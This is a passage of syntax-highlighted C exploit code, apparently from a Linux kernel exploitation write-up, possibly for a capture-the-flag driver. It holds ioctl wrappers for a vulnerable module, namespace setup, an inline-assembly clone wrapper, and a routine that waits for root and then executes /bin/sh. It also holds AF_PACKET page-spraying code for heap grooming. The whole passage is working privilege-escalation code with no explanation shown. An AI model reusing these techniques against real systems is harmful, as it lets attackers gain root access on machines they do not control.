}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">alloc</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">int</span> fd)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ioctl(fd, ALLOC, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">delete</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">int</span> fd, <span class="hljs-type" style="color: #a31515;">int64_t</span> idx)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">user_req_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> req = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
req.idx = idx;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ioctl(fd, DELETE, (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">unsigned</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">long</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)&req);
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">edit</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">int</span> fd, <span class="hljs-type" style="color: #a31515;">int64_t</span> idx, <span class="hljs-type" style="color: #a31515;">uint64_t</span> size, <span class="hljs-type" style="color: #a31515;">char</span> *buf)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">user_req_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> req = {.idx = idx, .size = size, .buf = buf};
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ioctl(fd, EDIT, (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">unsigned</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">long</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)&req);
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">debug</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">()</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"pause"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
getchar();
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">unshare_setup</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">uid_t</span> uid, <span class="hljs-type" style="color: #a31515;">gid_t</span> gid)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> temp;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> edit[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x100</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">];
unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET);
temp = open(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"/proc/self/setgroups"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, O_WRONLY);
write(temp, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"deny"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">strlen</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"deny"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">));
close(temp);
temp = open(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"/proc/self/uid_map"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, O_WRONLY);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">snprintf</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(edit, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(edit), </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"0 %d 1"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, uid);
write(temp, edit, </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">strlen</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(edit));
close(temp);
temp = open(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"/proc/self/gid_map"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, O_WRONLY);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">snprintf</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(edit, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(edit), </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"0 %d 1"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, gid);
write(temp, edit, </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">strlen</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(edit));
close(temp);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// https://man7.org/linux/man-pages/man2/clone.2.html</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
__attribute__((naked)) </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">pid_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> __clone(</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> flags, </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *dest)
{
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">asm</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"mov r15, rsi;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"xor rsi, rsi;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"xor rdx, rdx;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"xor r10, r10;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"xor r9, r9;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"mov rax, 56;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"syscall;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"cmp rax, 0;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"jl bad_end;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"jg good_end;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"jmp r15;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"bad_end:"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"neg rax;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"ret;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"good_end:"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"ret;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">struct</span> <span class="hljs-title" style="color: #a31515;">timespec</span> <span class="hljs-title" style="color: #a31515;">timer</span> =</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> {.tv_sec = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1000000000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, .tv_nsec = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> throwaway;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> root[] = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"root\n"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> binsh[] = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"/bin/sh\x00"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *args[] = {</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"/bin/sh"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">NULL</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
__attribute__((naked)) </span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">check_and_wait</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">()</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">asm</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"lea rax, [rootfd];"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"mov edi, dword ptr [rax];"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"lea rsi, [throwaway];"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"mov rdx, 1;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"xor rax, rax;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"syscall;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"mov rax, 102;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"syscall;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"cmp rax, 0;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"jne finish;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"mov rdi, 1;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"lea rsi, [root];"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"mov rdx, 5;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"mov rax, 1;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"syscall;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"lea rdi, [binsh];"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"lea rsi, [args];"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"xor rdx, rdx;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"mov rax, 59;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"syscall;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"finish:"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"lea rdi, [timer];"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"xor rsi, rsi;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"mov rax, 35;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"syscall;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"ret;"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">just_wait</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">()</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
sleep(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1000000000</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">alloc_pages_via_sock</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">uint32_t</span> size, <span class="hljs-type" style="color: #a31515;">uint32_t</span> n)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">struct</span> <span class="hljs-title" style="color: #a31515;">tpacket_req</span> <span class="hljs-title" style="color: #a31515;">req</span>;</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int32_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> socketfd, version;
socketfd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (socketfd < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
{
perror(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"bad socket"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">exit</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
version = TPACKET_V1;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (setsockopt(socketfd, SOL_PACKET, PACKET_VERSION, &version, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(version)) < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
{
perror(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"setsockopt PACKET_VERSION failed"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">exit</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
assert(size % </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">4096</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> == </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">memset</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(&req, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(req));
req.tp_block_size = size;
req.tp_block_nr = n;
req.tp_frame_size = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">4096</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (setsockopt(socketfd, SOL_PACKET, PACKET_TX_RING, &req, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(req)) < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
{
perror(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"setsockopt PACKET_TX_RING failed"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">exit</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> socketfd;
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">spray_comm_handler</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">()</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">ipc_req_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> req;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int32_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> result;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">do</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> {
read(sprayfd_child[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">], &req, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(req));
assert(req.idx < INITIAL_PAGE_SPRAY);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (req.cmd == ALLOC_PAGE)
{
socketfds[req.idx] = alloc_pages_via_sock(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">4096</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (req.cmd == FREE_PAGE)
{
close(socketfds[req.idx]);
}
result = req.idx;
write(sprayfd_parent[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">], &result, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(result));
} </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">while</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(req.cmd != EXIT_SPRAY);
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">send_spray_cmd</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-keyword" style="color: blue;">enum</span> spray_cmd cmd, <span class="hljs-type" style="color: #a31515;">int</span> idx)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">ipc_req_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> req;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int32_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> result;
req.cmd = cmd;
req.idx = idx;
write(sprayfd_child[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">], &req, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(req));
read(sprayfd_parent[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">], &result, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(result));
assert(result == idx);
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">alloc_vuln_page</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">(<span class="hljs-type" style="color: #a31515;">int</span> fd, full_page *arr, <span class="hljs-type" style="color: #a31515;">int</span> page_idx)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
assert(!arr[page_idx].in_use);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < ISO_SLAB_LIMIT; i++)
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">long</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> result = alloc(fd);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (result < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
{
perror(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"allocation error"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">exit</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
arr[page_idx].idx[i] = result;
}
arr[page_idx].in_use = </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">true</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}
